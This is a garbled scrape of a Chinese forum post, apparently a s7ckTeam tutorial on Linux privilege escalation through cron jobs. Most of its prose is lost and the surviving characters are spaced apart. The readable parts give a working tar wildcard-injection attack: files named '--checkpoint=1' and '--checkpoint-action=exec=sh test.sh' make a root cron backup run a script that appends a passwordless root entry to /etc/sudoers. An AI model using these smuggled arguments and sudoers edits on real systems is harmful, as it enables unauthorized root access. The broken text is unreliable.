[376] 2021-01-17_利用Cron进行Linux提权

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-16
2021-01-17_利用Cron进行Linux提权 C r o n L i n u x   a F a   a F a   2 0 2 1 - 0 1 - 1 7   #   , 4 3 c r o n c r o n j o b s c r o n t a b r o o t c r o n / t m p / f i l e t e s t
p y c l e a r c l e a r / b i n / d a s h s u i d
d a s h b a s h 使 d a s h d a s h s u i d p s u d o e r s e t c / p a s s w d l i n u x t a r * * a a a 1 . t x t 2 . t x t t a r   c f   / h o m e / a a a / a a a . t a r   1 . t x t   2 . t x t - - h e l p c a t c a t
c r o n t a b / v a r / w w w / h t m l / c r o n . s h h t m l # ! / b i n / b a s h c d   / v a r / w w w / h t m l / t a r   c f   / v a r / b a c k u p s / h t m l . t a r   *
t a r c h e c k p o i n t c h e c k p o i n t = 1 - - c h e c k p o i n t - a c t i o n = e x e c = s h s u d o e r s s u d o c h e c k p o i n t - a c t i o n = e x e c = s h s h s u d o e r s s u d o e r s a a a 使 s u d o   b a s h s u d o s u d o e r s e c h o   ' e c h o   " a a a   A L L = ( r o o t )   N O P A S S W D :   A L L "   > >   / e t c / s u d o e r s '   >   t e s t . s h e c h o   " "   >   - - c h e c k p o i n t = 1 e c h o   " "   >   " - - c h e c k p o i n t - a c t i o n = e x e c = s h   t e s t . s h "

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则